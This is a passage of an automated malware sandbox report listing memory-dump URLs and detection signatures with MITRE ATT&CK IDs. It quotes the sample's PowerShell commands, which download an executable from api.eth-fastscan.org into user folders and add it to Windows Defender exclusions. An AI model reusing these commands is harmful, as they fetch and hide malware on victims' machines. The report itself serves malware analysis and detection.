"00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris21.3.6.1.4.1.311.10.11.15!(ye1.3.6.1.4.1.311.10.3.301.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00004524.00000001.131077.77020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004524.00000001.131077.7704F000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00004524.00000001.131077.7704F000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004524.00000001.131077.770B5000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004524.00000001.131077.770B5000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004524.00000001.131077.770B5000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miwashington1redmond1microsoft" - Source: "00000000-00004524.00000001.131077.78940000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004524.00000001.131077.78940000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0r!s4yqs@cnonicnonic" - Source: "00000000-00004524.00000001.131077.78A40000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004524.00000001.131077.78A40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004524.00000001.131077.78A40000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004524.00000001.131077.78ADC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004524.00000001.131077.78ADC000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004524.00000001.131077.78ADC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004524.00000001.131077.78ADC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004524.00000001.131077.78ADC000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004524.00000001.131077.78ADC000.00000004.mdmp") Found URL "http://crl.microsoftcrosoftrootcert.crl0th0f0d8http://www.microsoft.corts/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004524.00000001.131077.78ADC000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004544.00000000.131967.16B92000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhgeotrust" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.2.840.113533.7.65.01.3.6.1.5.5.7.1.121.2.840.10045.4.3.31.2.840.10045.2.1pkcs2.16.840.1.113730.1.13microsoft" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?r2ttsecom" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czckfp" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http:6sp%0" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0servio" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004544.00000000.131967.183C0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004544.00000000.131967.19FB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004544.00000000.131967.19FB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004544.00000000.131967.19FB0000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004544.00000000.131967.7DF20000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004544.00000000.131967.7DFF0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhgeotrust" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.2.840.113533.7.65.01.3.6.1.5.5.7.1.121.2.840.10045.4.3.31.2.840.10045.2.1pkcs2.16.840.1.113730.1.13microsoft" - Source: "00000000-00004544.00000001.132196.183C0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?r2ttsecom" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0servio" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004544.00000001.132196.183EE000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004544.00000001.132196.19DD1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0s9_>cripersi=neuo," - Source: "00000000-00004544.00000001.132196.19DD1000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crooceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@ok0d$" - Source: "00000000-00004544.00000001.132196.19DD1000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004544.00000001.132196.19DD1000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0x:$bf7" - Source: "00000000-00004544.00000001.132196.19DD1000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004544.00000001.132196.19E67000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004544.00000001.132196.19E67000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004544.00000001.132196.19E67000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004544.00000001.132196.19E67000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004544.00000001.132196.19E67000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004544.00000001.132196.19E67000.00000004.mdmp") Found URL "http://microsoft.com0k\" - Source: "00000000-00004544.00000001.132196.19E67000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004544.00000001.132196.7DF20000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004544.00000001.132196.7DFC0000.00000004.mdmp") Found URL "https://api.eth-fastscan.org/sefirah'," - Source: "00000000-00004544.00000001.132196.7DFF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fnul 2>&1\" (Indicator: \"schtasks /delete\"; File: \"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin\")","id":"string-629","level":"suspicious","mitre_attack_id":"T1562.001","name":"Able to delete scheduled task(s)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","id":"string-61","level":"suspicious","name":"Found an instant messenger related domain","origin":"File/Memory","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$35","id":"api-39","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information","origin":"API Call","relevance":8,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$36","id":"registry-17","level":"informative","mitre_attack_id":"T1112","name":"Accesses System Certificates Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"Contacted domain: \"api.eth-fastscan.org\" has high entropy","id":"network-81","level":"informative","mitre_attack_id":"T1568.002","name":"High entropy domain detected","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"System Security","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003924.00000000.131413.7DC10000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC10000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00003924.00000000.131413.7DC10000.00000004.mdmp, 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004260.00000000.130220.2F470000.00000004.mdmp, 00000000-00004260.00000001.130471.2F470000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004260.00000000.130220.49830000.00000004.mdmp, 00000000-00004260.00000001.130471.49830000.00000004.mdmp\")","id":"string-474","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to access device drivers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004260)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00004260)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004524)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00004524)","id":"api-110","level":"suspicious","mitre_attack_id":"T1082","name":"Calls an API typically used to find and list the Windows drive types","origin":"API Call","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004260-00000C2C-997028772\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004260-00000C2C-997029249\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004260-00000C2C-999355516\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004260-00000C2C-999355551\")","id":"string-908","level":"informative","mitre_attack_id":"T1033","name":"Able to query security token membership for user discovery (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$37","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"api.eth-fastscan.org\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cmd.exe\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"cmd.exe\" trying to touch file \"\\Device\\CNG\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\oleaut32.dll\"","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","id":"network-55","level":"informative","name":"JA3 SSL client fingerprint","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"$38","id":"string-899","level":"informative","mitre_attack_id":"T1071","name":"Contains references to network communication API (string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"Process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%TEMP%\\\\ggxy1nfv.exe'); exit 0} catch {exit 1}\"\" (UID: 00000000-00004524)\n Process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%LOCALAPPDATA%\\\\ggxy1nfv.exe'); exit 0} catch {exit 1}\"\" (UID: 00000000-00003924)\n Process \"powershell.exe\" with commandline \"powershell -command \"try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%APPDATA%\\\\ggxy1nfv.exe'); exit 0} catch {exit 1}\"\" (UID: 00000000-00004544)","id":"target-176","level":"malicious","mitre_attack_id":"T1105","name":"Downloads file using Powershell DownloadFile","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$39","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"89.124.93.110:443\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$3a","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"$3b","id":"string-187","level":"informative","mitre_attack_id":"T1059.001","name":"Observed Powershell command strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"Short term registered certificate: \"api.eth-fastscan.org\" (89 days old)","id":"certificate-3","level":"informative","mitre_attack_id":"T1583.001","name":"Short-term SSL certificate detected","origin":"Certificate Data","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003924.00000001.131634.0D452000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004260.00000000.130220.075D2000.00000002.mdmp\")","id":"string-317","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve address of exported function from a DLL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"cmd.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\cacls.exe\" \"%WINDIR%\\system32\\config\\system\"\" - (UID: 00000000-00007120)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"powershell -Command \"Add-MpPreference -ExclusionPath '%TEMP%\\ggxy1nfv.exe'\n 'C:\\Users\\%OSUSER%\\AppDat\" - (UID: 00000000-00007120), \"cmd.exe\" called \"CreateProcessW\" with parameter \"powershell -command \"try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\\Users\\HAPUBW\" - (UID: 00000000-00007120)","id":"api-128","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to create a process","origin":"API Call","relevance":5,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at F1830000","id":"module-7","level":"informative","mitre_attack_id":"T1620","name":"Loads the CLR Loader DLL","origin":"Loaded Module","sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution (Powershell command string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: 